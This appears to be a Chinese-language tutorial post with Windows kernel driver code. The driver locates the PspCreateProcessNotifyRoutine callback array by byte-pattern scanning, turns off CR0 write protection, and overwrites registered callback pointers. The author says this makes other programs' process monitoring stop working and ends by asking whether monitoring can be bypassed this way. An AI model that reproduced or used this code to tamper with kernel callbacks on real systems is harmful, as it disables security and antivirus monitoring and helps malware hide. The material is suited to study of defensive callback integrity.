PsSetCreateProcessNotifyRoutine这个函数大家应该比较熟悉,这个函数提供了一种监视进程创建的绿色方法,毕竟是有文档的东西,使用起来比较安全。当然这个函数在使用时时有限制的,只能安装8个监视函数(32位的系统)。我们可以想到,系统应该有一个表来保存这几个函数的地址,以便系统调用,OK现在我们使用windbg去看看,反汇编之后发现一个和函数名同名的结构:
8062cc40 56              push    esi
8062cc41 8d049d60165680  lea     eax,nt!PspCreateProcessNotifyRoutine (80561660)[ebx*4]
8062cc48 50              push    eax
8062cc49 e8b17d0100      call    nt!ExDereferenceCallBackBlock (806449ff)
8062cc4e 56              push    esi
这是一个结构不是可执行代码,我们选择内存窗口,跳到80561660这个地址看看,查看时选择LONG HEX,就会看到,根据网上的资料这个是一个EX_FAST_REF的数组,一共有8个元素。这个结构在wrk里面可以找到到,其结构是
typedef struct _EX_FAST_REF
{
    union
    {
        PVOID Object;
        ULONG_PTR RefCnt:3;
        ULONG_PTR Value;
    };
} EX_FAST_REF, *PEX_FAST_REF;注意里面低三位是引用计数,value是一个指针,指向一个叫做EX_CALLBACK_ROUTINE_BLOCK,的结构,这个结构里面就有回调函数的指针了,
完整结构如下:
typedef struct _EX_CALLBACK_ROUTINE_BLOCK
{
    EX_RUNDOWN_REF RundownProtect;
    PEX_CALLBACK_FUNCTION Function;
    PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;为了得到这个指针,可以用移位运算:
PEX_CALLBACK_ROUTINE_BLOCK Point=(PEX_CALLBACK_ROUTINE_BLOCK)((FastRef->Value>>3)<<3);得到这个地址就简单了,只要用我们自己的函数地址代替这个地址就可以了,这样别人的监控就会失效了。我们有理由认为PsSetCreateThreadNotifyRoutine也使用了同样的机制,ok,还是反汇编一下看看,发现此时里面的数组叫做PsSetCreateThreadNotifyRoutin,现在还不确定这个函数的实现和PsSetCreateProcessNotifyRoutin相不相同,所以我们需要到wrk里面看看,反汇编PsSetCreateThreadNotifyRoutine之后发现其调用ExCompareExchangeCallBack函数,这个函数可以在wrk里面找到,然后看看,会发现机制是一样的,数组个数依然是8[0-7],好了现在你可以利用上面的方法来找到这个数组,你乐意的话就修改它。顺便把PsSetLoadImageNotifyRoutine也看看,你一看就会惊奇的发现,他们实现的机理一模一样。
废话不说了,直接贴代码:

代码:
#include "ntifs.h"
VOID
CreateProcessNotifyEx (
  IN HANDLE  ParentId,
    IN HANDLE  ProcessId,
    IN BOOLEAN  Create

  );
#pragma pack(push)
#pragma pack(1)
typedef struct _EX_FAST_REF
{
    union
    {
        PVOID Object;
        ULONG_PTR RefCnt:3;
        ULONG_PTR Value;
    };
} EX_FAST_REF, *PEX_FAST_REF;

typedef struct _EX_CALLBACK_ROUTINE_BLOCK
{
    EX_RUNDOWN_REF RundownProtect;
    PEX_CALLBACK_FUNCTION Function;
    PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;
#pragma pack(pop)
NTSTATUS GetFunctionAddress(ULONG  *Address);

extern "C" NTSTATUS DriverEntry (
      IN PDRIVER_OBJECT pDriverObject,
      IN PUNICODE_STRING pRegistryPath  ) 
{
  
  KdPrint(("Enter DriverEntry\n"));

  if(NT_SUCCESS(PsSetCreateProcessNotifyRoutine(CreateProcessNotifyEx ,FALSE)))
  {KdPrint(("设置监控成功!"));
  KdPrint(("监控函数地址:%08x",(ULONG)CreateProcessNotifyEx));
  ULONG Address;
  GetFunctionAddress(&Address);  
  }
  KdPrint(("DriverEntry end\n"));
  return STATUS_SUCCESS;
}
VOID
CreateProcessNotifyEx (
  IN HANDLE  ParentId,
    IN HANDLE  ProcessId,
    IN BOOLEAN  Create

  )
{  
  if(Create)
  {KdPrint(("注意有进程创建"));
  PEPROCESS eproc;
  if(NT_SUCCESS(PsLookupProcessByProcessId(ProcessId,&eproc)))
  {   KdPrint(("进程ID:%d",ProcessId));
    KdPrint(("进程名:%s\n",(char*)((ULONG)eproc+0x174)));  
  }
  }
  else
  {
    KdPrint(("注意有进程撤销"));
    KdPrint(("进程ID:%d",ProcessId));
  }

}

void Myfunction(IN HANDLE  ParentId,
    IN HANDLE  ProcessId,
    IN BOOLEAN  Create
  )
  {
    KdPrint(("这个是替换后的函数收到的监控消息……"));
    if(Create)
  {KdPrint(("注意有进程创建"));
  PEPROCESS eproc;
  if(NT_SUCCESS(PsLookupProcessByProcessId(ProcessId,&eproc)))
  {   KdPrint(("进程ID:%d",ProcessId));
    KdPrint(("进程名:%s\n",(char*)((ULONG)eproc+0x174)));  
  }
  }
  else
  {
    KdPrint(("注意有进程撤销"));
    KdPrint(("进程ID:%d",ProcessId));
  }
  }


  KIRQL RaiseIrqlAndDropRdOnly()
{
  KIRQL      OldIrql; 

  KeRaiseIrql(2, &OldIrql);

  _asm{
      push  eax
      mov     eax, cr0
      and     eax, 0xFFFEFFFF
      mov     cr0, eax
      pop    eax
  }


  return OldIrql;      
}

VOID LowIrqlAndRvrRdOnly(KIRQL OldIrql)
{
  _asm{
    push  eax
    mov     eax, cr0
    or      eax, 0x10000
    mov     cr0, eax
    pop    eax
  }
  KeLowerIrql(OldIrql);
}
NTSTATUS GetFunctionAddress(ULONG  *Address)
{
  //搜索PspCreateProcessNotifyRoutine数组地址:
  *Address=0;
  UCHAR* Base=(UCHAR*)PsSetCreateProcessNotifyRoutine;
  int i=0;
  for(i=0;i<0x512;i++)
  {
    /*    
8062cc40 56              push    esi
8062cc41 8d049d60165680  lea     eax,nt!PspCreateProcessNotifyRoutine (80561660)[ebx*4]
8062cc48 50              push    eax
8062cc49 e8b17d0100      call    nt!ExDereferenceCallBackBlock (806449ff)
8062cc4e 56              push    esi
8062cc4f e8297b0100      call    nt!ExWaitForCallBacks (8064477d)
8062cc54 33ff            xor     edi,edi 
也可以选择上面一个地方来获取……
*/

    if((*(UCHAR*)Base==0x56)&&(*(UCHAR*)(Base+1)==0x8d))
    {
      *Address=*(ULONG*)(Base+4);
      KdPrint(("找到数组地址:%08x",*Address));
      break;
    }
    Base++;
  }
  if(*Address==0)
  {
    KdPrint(("没有找到数组地址"));
    return STATUS_UNSUCCESSFUL;
  }
  PEX_FAST_REF FastRef=(PEX_FAST_REF)(*Address);
  for(i=0;i<8;i++)
  {
  KdPrint(("Fast Ref 成员:Object:%08x, count:%08x,value:%08x",FastRef->Object,FastRef->RefCnt,((FastRef->Value>>3)<<3)));
  PEX_CALLBACK_ROUTINE_BLOCK Point=(PEX_CALLBACK_ROUTINE_BLOCK)((FastRef->Value>>3)<<3);
  if(MmIsAddressValid((PVOID)Point))
  {  if(Point->Function==(PEX_CALLBACK_FUNCTION)CreateProcessNotifyEx)
  {
    KdPrint(("替换前函数地址:%08x\n",Point->Function));
    KIRQL Old =RaiseIrqlAndDropRdOnly();
    Point->Function=(PEX_CALLBACK_FUNCTION)Myfunction;
    LowIrqlAndRvrRdOnly(Old);
  }
  }
  FastRef++;
  }
  return STATUS_SUCCESS;
}
根据这个思路我们是不是可以实现绕过监控了呢……